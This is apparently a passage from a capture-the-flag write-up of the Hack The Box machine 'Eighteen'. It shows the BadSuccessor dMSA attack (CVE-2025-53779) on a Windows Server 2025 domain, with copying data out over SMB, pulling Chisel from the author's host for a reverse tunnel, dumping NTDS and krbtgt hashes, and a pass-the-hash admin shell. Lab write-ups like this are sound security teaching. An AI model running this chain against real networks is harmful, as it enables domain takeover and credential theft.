2026-04-08T21:29:32.6169943-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.1505273-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.1545472-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3464017-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3544474-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3662566-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3662566-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3800713-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3938881-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3958989-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4077009-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4097139-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4255439-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4255439-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4393527-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4393527-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4511501-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4531614-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4652206-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4669713-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4770168-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4790242-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4888140-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.5224631-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.5264815-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.5561036-07:00|INFORMATION|Beginning LDAP search for eighteen.htb Configuration NC
2026-04-08T21:29:33.8642771-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.8662871-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.8763324-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.8841144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9064530-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9157376-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9157376-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9197550-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9631787-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9631787-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9651861-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9651861-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9671941-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:35.5950257-07:00|INFORMATION|Producer has finished, closing LDAP channel
2026-04-08T21:29:35.7319068-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2026-04-08T21:29:41.5232250-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2026-04-08T21:29:41.5568987-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2026-04-08T21:29:41.7104926-07:00|INFORMATION|Status: 318 objects finished (+318 35.33333)/s -- Using 69 MB RAM
2026-04-08T21:29:41.7104926-07:00|INFORMATION|Enumeration finished in 00:00:09.3744354
2026-04-08T21:29:41.8059605-07:00|INFORMATION|Saving cache with stats: 17 ID to type mappings.
0 name to SID mappings.
1 machine sid mappings.
3 sid to domain mappings.
0 global catalog mappings.
2026-04-08T21:29:41.8458122-07:00|INFORMATION|SharpHound Enumeration Completed at 9:29 PM on 4/8/2026! Happy Graphing!
It creates a .zip:
evil-winrm-py PS C:\programdata> ls 20260408212935_BloodHound.zip
Directory: C:\programdata
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/8/2026 9:29 PM 28860 20260408212935_BloodHound.zip
I’ll create an SMB server on my host with smbserver.py share . -smb2support -username oxdf -password oxdf, and then exfil the BloodHound data out:
evil-winrm-py PS C:\programdata> net use \\10.10.14.61\share /u:oxdf oxdf
The command completed successfully.
evil-winrm-py PS C:\programdata> copy 20260408212935_BloodHound.zip \\10.10.14.61\share\
I’ll upload this to BloodHound, and start by marking adam.scott as owned. They don’t have any interesting outbound permissions:
BloodHound didn’t capture the functional levels (shown as “unknown”). I can get that from the shell:
evil-winrm-py PS C:\> Get-ADDomain | Select Name, DomainMode
Name DomainMode
---- ----------
eighteen Windows2025Domain
evil-winrm-py PS C:\> Get-ADForest | Select Name, ForestMode
Name ForestMode
---- ----------
eighteen.htb Windows2025Forest
It’s running at 2025, which means all the domain controllers in this network are running on the bleeding edge version. Typically even when rolling out a new OS version like this, the functional level lags behind because there may be older DCs still left, and even if not, it’s common to leave it older until there’s a feature that requires the newer level.
Bad Successor
Background
Researchers at Akamai identified an issue they named Bad Successor that targets delegated Managed Service Accounts (dMSA), a feature that was added in Windows Server 2025. A dMSA account falls into the managed service account family:
| Type | Introduced | Purpose |
|---|---|---|
| sMSA (standalone) | Server 2008 R2 | Auto-rotating password, tied to one machine |
| gMSA (group) | Server 2012 | Same, but shared across multiple machines |
| dMSA (delegated) | Server 2025 | Designed to replace legacy service accounts via a seamless migration |
Even today (almost a year after its release), searching for “Windows server 2025 exploit” returns the Akamai blog as the top answer:
Microsoft originally said this wasn’t an issue, but after release did patch it, and Bad Successor got the CVE ID CVE-2025-53779.
BadSuccessor abuses the dMSA migration feature introduced in Windows Server 2025. When a legacy service account is “migrated” to a dMSA, the dMSA is linked to its predecessor via the msDS-ManagedAccountPrecededByLink attribute, and the KDC issues tickets for the dMSA containing the full authorization context (group memberships and SIDs) of the original account. This is done so that a freshly migrated dMSA can seamlessly take over wherever the old account was used.
The flaw is that the KDC never verifies that the migration was actually authorized. It trusts the link attribute at face value. As a result, any principal with CreateChild rights for msDS-DelegatedManagedServiceAccount objects on any OU (a permission that is not normally considered privileged) can create a dMSA, set its msDS-ManagedAccountPrecededByLink to point at a high-value target like Administrator, and request a TGT. The resulting ticket’s PAC contains Domain Admin group membership.
Checking for Bad Successor
BloodHound should be able to check for this, but at the time of this blog post, most collectors don’t get the necessary information. SharpHound has this open issue.
Akamai created a PowerShell script to check for Bad Successor. I can upload that and run it:
evil-winrm-py PS C:\programdata> wget 10.10.14.61/Get-BadSuccessorOUPermissions.ps1 -outfile Get-BadSuccessorOUPermissions.ps1
evil-winrm-py PS C:\programdata> .\Get-BadSuccessorOUPermissions.ps1
Identity OUs
-------- ---
EIGHTEEN\IT {OU=Staff,DC=eighteen,DC=htb}
adam.scott is in the IT group:
evil-winrm-py PS C:\programdata> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
EIGHTEEN\IT Group S-1-5-21-1152179935-589108180-1989892463-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Remote Test
To exploit Bad Successor, I’ll:
- Create a dMSA in
OU=STAFF. - Set two attributes:
msDS-ManagedAccountPrecededByLink→ DN of the target (e.g. CN=Administrator,CN=Users,DC=eighteen,DC=htb)msDS-DelegatedMSAState→ 2 (marks the migration as “complete”)
- Request a TGT for the dMSA using a special
KERB-DMSA-KEY-PACKAGEstructure, and the resulting ticket will have the Administrator’s groups.
There are a couple ways to do this in practice:
- Much of it can be done in PowerShell, but it’s relatively complex.
- There’s a tool called SharpSuccessor that will create the dMSA and make the malicious link (steps 1 and 2 above), where I could then use Rubeus to get a TGT with the Administrator groups. This does suffer from a challenge similar to the double hop problem over WinRM.
- I can create a tunnel back to my host and use NetExec and Impacket tools.
I’ll go for the last option. I’ll start a local Chisel server, upload the Windows binary to Eighteen, and connect:
evil-winrm-py PS C:\programdata> wget 10.10.14.61/chisel_1.10.1_windows_amd64 -outfile c.exe
evil-winrm-py PS C:\programdata> ./c.exe client 10.10.14.61:8000 R:socks
That command hangs, but on the server there’s a new tunnel:
oxdf@hacky$ /opt/chisel/chisel_1.10.0_linux_amd64 server -p 8000 --reverse
2026/04/09 20:41:25 server: Reverse tunnelling enabled
2026/04/09 20:41:25 server: Fingerprint lxRd5GpReedSJhHRSbIYca+6DNip+iTcUnnWgoQyAyQ=
2026/04/09 20:41:25 server: Listening on http://0.0.0.0:8000
2026/04/09 20:42:15 server: session#1: Client version (1.10.1) differs from server version (1.10.0)
2026/04/09 20:42:15 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Now I can access SMB, LDAP, and other useful Windows DC ports:
oxdf@hacky$ proxychains -q netexec smb dc01.eighteen.htb
SMB 224.0.0.1 445 DC01 Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:eighteen.htb) (signing:True) (SMBv1:None) (Null Auth:True)
netexec can check for Bad Successor:
oxdf@hacky$ proxychains -q netexec ldap dc01.eighteen.htb -u adam.scott -p iloveyou1 -M badsuccessor
LDAP 224.0.0.1 389 DC01 Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb) (signing:Enforced) (channel binding:No TLS cert)
LDAP 224.0.0.1 389 DC01 [+] eighteen.htb\adam.scott:iloveyou1
BADSUCCE... 224.0.0.1 389 DC01 [+] Found domain controller with operating system Windows Server 2025: 224.0.0.2 (DC01.eighteen.htb)
BADSUCCE... 224.0.0.1 389 DC01 [+] Found 1 results
BADSUCCE... 224.0.0.1 389 DC01 IT (S-1-5-21-1152179935-589108180-1989892463-1604), OU=Staff,DC=eighteen,DC=htb
It finds the IT group just like above.
Remote Exploit
The code to actually exploit Bad Successor hasn’t been (at the time of this post) merged into netexec, but rather is in this PR. I’ll clone that repo:
oxdf@hacky$ git clone https://github.com/azoxlpf/NetExec.git
Cloning into 'NetExec'...
remote: Enumerating objects: 33682, done.
remote: Counting objects: 100% (11463/11463), done.
remote: Compressing objects: 100% (4109/4109), done.
remote: Total 33682 (delta 7536), reused 7367 (delta 7354), pack-reused 22219 (from 3)
Receiving objects: 100% (33682/33682), 16.22 MiB | 15.42 MiB/s, done.
Resolving deltas: 100% (26068/26068), done.
oxdf@hacky$ git checkout feat/refactor-badsuccessor
branch 'feat/refactor-badsuccessor' set up to track 'origin/feat/refactor-badsuccessor'.
Switched to a new branch 'feat/refactor-badsuccessor'
Typically I could run this without installing it using uvx, but proxychains makes that tricky. I’ll uv tool install . (remembering to uninstall and reinstall the standard netexec after).
I’ll also need to make sure my date is in sync. I can’t just use ntpdate, as that works over UDP which doesn’t proxy through proxychains. I’ll get the date from PowerShell:
evil-winrm-py PS C:\Users\adam.scott\Documents> Get-Date -Format "yyyy-MM-dd HH:mm:ss"
2026-04-10 01:21:54
And then set it locally:
oxdf@hacky$ sudo date -u -s "2026-04-10 01:21:54"
Fri Apr 10 01:21:54 AM UTC 2026
Now I can run the exploit:
oxdf@hacky$ proxychains -q netexec ldap dc01.eighteen.htb -u adam.scott -p 'iloveyou1' -M badsuccessor -o TARGET_OU='OU=Staff,DC=eighteen,DC=htb' DMSA_NAME=0xdf TARGET_ACCOUNT=Administrator
LDAP 224.0.0.1 389 DC01 Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb) (signing:Enforced) (channel binding:No TLS cert)
LDAP 224.0.0.1 389 DC01 [+] eighteen.htb\adam.scott:iloveyou1
BADSUCCE... 224.0.0.1 389 DC01 [+] Found DC with Windows Server 2025: 224.0.0.2 (DC01.eighteen.htb)
BADSUCCE... 224.0.0.1 389 DC01 [+] dMSA '0xdf$' created at CN=0xdf,OU=Staff,DC=eighteen,DC=htb
BADSUCCE... 224.0.0.1 389 DC01 DNS Hostname: 0xdf.eighteen.htb
BADSUCCE... 224.0.0.1 389 DC01 Migration state: 2 (completed)
BADSUCCE... 224.0.0.1 389 DC01 Target account: CN=Administrator,CN=Users,DC=eighteen,DC=htb
BADSUCCE... 224.0.0.1 389 DC01 [+] Current keys:
BADSUCCE... 224.0.0.1 389 DC01 EncryptionTypes.aes256_cts_hmac_sha1_96: c23d2ee88cca21b1fed4a801e00f20a7318a8adb85d1cd08f8e2fc1fc94f3d5e
BADSUCCE... 224.0.0.1 389 DC01 EncryptionTypes.aes128_cts_hmac_sha1_96: 1f03e9cbb9e5672970560496c285ffb4
BADSUCCE... 224.0.0.1 389 DC01 EncryptionTypes.rc4_hmac: dad23aa0e8e234df8a524f58d065e3fc
BADSUCCE... 224.0.0.1 389 DC01 [+] Previous keys:
BADSUCCE... 224.0.0.1 389 DC01 EncryptionTypes.rc4_hmac: 0b133be956bfaddf9cea56701affddec
BADSUCCE... 224.0.0.1 389 DC01 [+] Service ticket saved to 0xdf$.ccache
This creates a TGT as the 0xdf$ user but with the Administrator’s groups. I’ll verify this in Beyond Root.
I can test it by authenticating over netexec:
oxdf@hacky$ KRB5CCNAME=0xdf\$.ccache proxychains -q netexec smb dc01.eighteen.htb --use-kcache
SMB dc01.eighteen.htb 445 DC01 Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:eighteen.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB dc01.eighteen.htb 445 DC01 [+] eighteen.htb\0xdf$ from ccache (Pwn3d!)
The (Pwn3d!) output means I’m in a privileged group.
I’ll use that ticket to dump the domain hashes:
oxdf@hacky$ KRB5CCNAME=0xdf\$.ccache proxychains -q netexec smb dc01.eighteen.htb --use-kcache --ntds
SMB dc01.eighteen.htb 445 DC01 Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:eighteen.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB dc01.eighteen.htb 445 DC01 [+] eighteen.htb\0xdf$ from ccache (Pwn3d!)
SMB dc01.eighteen.htb 445 DC01 [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB dc01.eighteen.htb 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::
SMB dc01.eighteen.htb 445 DC01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB dc01.eighteen.htb 445 DC01 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a7c7a912503b16d8402008c1aebdb649:::
SMB dc01.eighteen.htb 445 DC01 mssqlsvc:1601:aad3b435b51404eeaad3b435b51404ee:c44d16951b0810e8f3bbade300966ec4:::
SMB dc01.eighteen.htb 445 DC01 eighteen.htb\jamie.dunn:1606:aad3b435b51404eeaad3b435b51404ee:9fbaaf9e93e576187bb840e93971792a:::
SMB dc01.eighteen.htb 445 DC01 eighteen.htb\jane.smith:1607:aad3b435b51404eeaad3b435b51404ee:42554e3213381f9d1787d2dbe6850d21:::
SMB dc01.eighteen.htb 445 DC01 eighteen.htb\alice.jones:1608:aad3b435b51404eeaad3b435b51404ee:43f8a72420ee58573f6e4f453e72843a:::
SMB dc01.eighteen.htb 445 DC01 eighteen.htb\adam.scott:1609:aad3b435b51404eeaad3b435b51404ee:9964dae494a77414e34aff4f34412166:::
SMB dc01.eighteen.htb 445 DC01 eighteen.htb\bob.brown:1610:aad3b435b51404eeaad3b435b51404ee:7e86c41ddac3f95c986e0382239ab1ea:::
SMB dc01.eighteen.htb 445 DC01 eighteen.htb\carol.white:1611:aad3b435b51404eeaad3b435b51404ee:6056d42866209a6744cb6294df075640:::
SMB dc01.eighteen.htb 445 DC01 eighteen.htb\dave.green:1612:aad3b435b51404eeaad3b435b51404ee:7624e4baa9c950aa3e0f2c8b1df72ee9:::
SMB dc01.eighteen.htb 445 DC01 DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d79b6837ac78c51c79aab3d970875584:::
SMB dc01.eighteen.htb 445 DC01 0xdf$:13107:aad3b435b51404eeaad3b435b51404ee:dad23aa0e8e234df8a524f58d065e3fc:::
SMB dc01.eighteen.htb 445 DC01 [+] Dumped 13 NTDS hashes to /home/oxdf/.nxc/logs/ntds/DC01_dc01.eighteen.htb_2026-04-10_084010.ntds of which 11 were added to the database
SMB dc01.eighteen.htb 445 DC01 To extract only enabled accounts from the output file, run the following command:
SMB dc01.eighteen.htb 445 DC01 grep -iv disabled /home/oxdf/.nxc/logs/ntds/DC01_dc01.eighteen.htb_2026-04-10_084010.ntds | cut -d ':' -f1
I’ll use the administrator hash to get a shell over WinRM:
oxdf@hacky$ evil-winrm-py -i dc01.eighteen.htb -u administrator -H 0b133be956bfaddf9cea56701affddec
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.6.0
[*] Connecting to 'dc01.eighteen.htb:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents>
And the root flag:
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
c6559b06************************
Beyond Root
As root, I can dump the krbtgt account’s AES key and decrypt the TGT generated for the dMSA account, confirming that the ticket really does carry the Administrator’s group memberships. First, I’ll use secretsdump.py to get the krbtgt user’s keys:
oxdf@hacky$ KRB5CCNAME=0xdf\$.ccache proxychains -q secretsdump.py -k -no-pass -just-dc-user krbtgt eighteen.htb/0xdf\$@dc01.eighteen.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a7c7a912503b16d8402008c1aebdb649:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:56b1a6191645e0d5adf64a84418ecee5f79abe7c2109f3aeca08b1cc1381d024
krbtgt:aes128-cts-hmac-sha1-96:5ad1b9baa9295bacca1286535e9efd8e
krbtgt:0x17:a7c7a912503b16d8402008c1aebdb649
[*] Cleaning up...
Now I’ll pass the AES key to describeTicket.py:
oxdf@hacky$ describeTicket.py '0xdf$.ccache' --aes 56b1a6191645e0d5adf64a84418ecee5f79abe7c2109f3aeca08b1cc1381d024
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key : 3b0c5223261346a1cef58d3f12858a9019befe03446f6b7d2da8ffc202a589b9
[*] User Name : 0xdf$
[*] User Realm : eighteen.htb
[*] Service Name : krbtgt/EIGHTEEN.HTB
[*] Service Realm : EIGHTEEN.HTB
[*] Start Time : 10/04/2026 08:33:01 AM
[*] End Time : 10/04/2026 18:33:01 PM
[*] RenewTill : 11/04/2026 08:32:50 AM
[*] Flags : (0x40a10000) forwardable, renewable, pre_authent, enc_pa_rep
[*] KeyType : aes256_cts_hmac_sha1_96
[*] Base64(key) : OwxSIyYTRqHO9Y0/EoWKkBm+/gNEb2t9Laj/wgKlibk=
[*] Decoding unencrypted data in credential[0]['ticket']:
[*] Service Name : krbtgt/EIGHTEEN.HTB
[*] Service Realm : EIGHTEEN.HTB
[*] Encryption type : aes256_cts_hmac_sha1_96 (etype 18)
[*] Decoding credential[0]['ticket']['enc-part']:
[*] LoginInfo
[*] Logon Time : Infinity (absolute time)
[*] Logoff Time : Infinity (absolute time)
[*] Kickoff Time : Infinity (absolute time)
[*] Password Last Set : 10/04/2026 08:33:00 AM
[*] Password Can Change : 10/04/2026 08:33:00 AM
[*] Password Must Change : Infinity (absolute time)
[*] LastSuccessfulILogon : Infinity (absolute time)
[*] LastFailedILogon : Infinity (absolute time)
[*] FailedILogonCount : 0
[*] Account Name : 0xdf$
[*] Full Name :
[*] Logon Script :
[*] Profile Path :
[*] Home Dir :
[*] Dir Drive :
[*] Logon Count : 0
[*] Bad Password Count : 0
[*] User RID : 13107
[*] Group RID : 515
[*] Group Count : 7
[*] Groups : 515, 513, 512, 520, 519, 518, 500
[*] Groups (decoded) : (515) Domain Computers
[*] (513) Domain Users
[*] (512) Domain Admins
[*] (520) Group Policy Creator Owners
[*] (519) Enterprise Admins
[*] (518) Schema Admins
[*] +1 Unknown custom group
[*] User Flags : (32) LOGON_EXTRA_SIDS
[*] User Session Key : 00000000000000000000000000000000
[*] Logon Server : DC01
[*] Logon Domain Name : EIGHTEEN
[*] Logon Domain SID : S-1-5-21-1152179935-589108180-1989892463
[*] User Account Control : (128) USER_WORKSTATION_TRUST_ACCOUNT
[*] Extra SID Count : 1
[*] Extra SIDs : S-1-18-1 Authentication authority asserted identity (SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED)
[*] Resource Group Domain SID :
[*] Resource Group Count : 0
[*] Resource Group Ids :
[*] LMKey : 0000000000000000
[*] SubAuthStatus : 0
[*] Reserved3 : 0
[*] ServerChecksum
[*] Signature Type : hmac_sha1_96_aes256
[*] Signature : 0139c70df2e1807553347b3c
[*] KDCChecksum
[*] Signature Type : hmac_sha1_96_aes256
[*] Signature : fec0cf4ae826a958c0681db7
[*] ClientName
[*] Client Id : 10/04/2026 08:33:01 AM
[*] Client Name : 0xdf$
[*] UpnDns
[*] Flags : (3) U_UsernameOnly, S_SidSamSupplied
[*] UPN : 0xdf$@eighteen.htb
[*] DNS Domain Name : EIGHTEEN.HTB
[*] SamAccountName : 0xdf$
[*] UserSid : S-1-5-21-1152179935-589108180-1989892463-13107
[*] Attributes Info
[*] Flags : (2) PAC_WAS_GIVEN_IMPLICITLY
[*] Requester Info
[*] UserSid : S-1-5-21-1152179935-589108180-1989892463-13107
The username matches the dMSA I created:
[*] User Name : 0xdf$
The groups match the Administrator user’s groups:
[*] Groups : 515, 513, 512, 520, 519, 518, 500
[*] Groups (decoded) : (515) Domain Computers
[*] (513) Domain Users
[*] (512) Domain Admins
[*] (520) Group Policy Creator Owners
[*] (519) Enterprise Admins
[*] (518) Schema Admins
[*] +1 Unknown custom group
It’s the groups in the TGT that allow me to request a service ticket that can access things as administrator.
